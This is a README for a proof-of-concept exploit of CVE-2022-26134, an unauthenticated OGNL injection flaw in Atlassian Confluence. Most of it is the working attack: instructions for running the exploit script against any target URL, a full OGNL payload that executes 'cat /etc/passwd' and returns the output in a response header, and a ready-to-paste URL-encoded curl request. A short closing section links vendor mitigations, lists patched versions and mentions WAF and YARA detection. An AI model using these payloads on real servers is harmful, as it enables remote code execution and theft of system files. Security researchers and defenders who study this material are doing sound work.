CVE-2022-26134

CVE-2022-26134 - OGNL injection vulnerability.

Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

Affected versions

All supported versions of Confluence Server and Data Center are affected.
Confluence Server and Data Center versions after 1.3.0 and bellow 7.18.1 are affected.
The vulnerability has a CVSS score of 10 out of 10 for criticality.

Dependencies:

• Python 3.3+
• The dependencies can be satisfied via pip install -r requirements.txt

How to use:

Clone the repo

git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134

Then you can run the exploit with the command of your choice as follow:

python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

Video Proof of Concept

Payload

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Example with CURL command:

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D" 

Then, the result of the command will be reflected in the parameter X-Cmd-Response in the response header.

Mitigations guidelines from vendors

Follow the official recommendations from Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

Patched Versions

Atlassian released versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 which contain a patch for this issue.

Detect capabilities

This vulnerability affects all self-hosted instances. If you use a WAF you can block URLS with ${ inside.

YARA (by Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

Note

FOR EDUCATIONAL PURPOSE ONLY.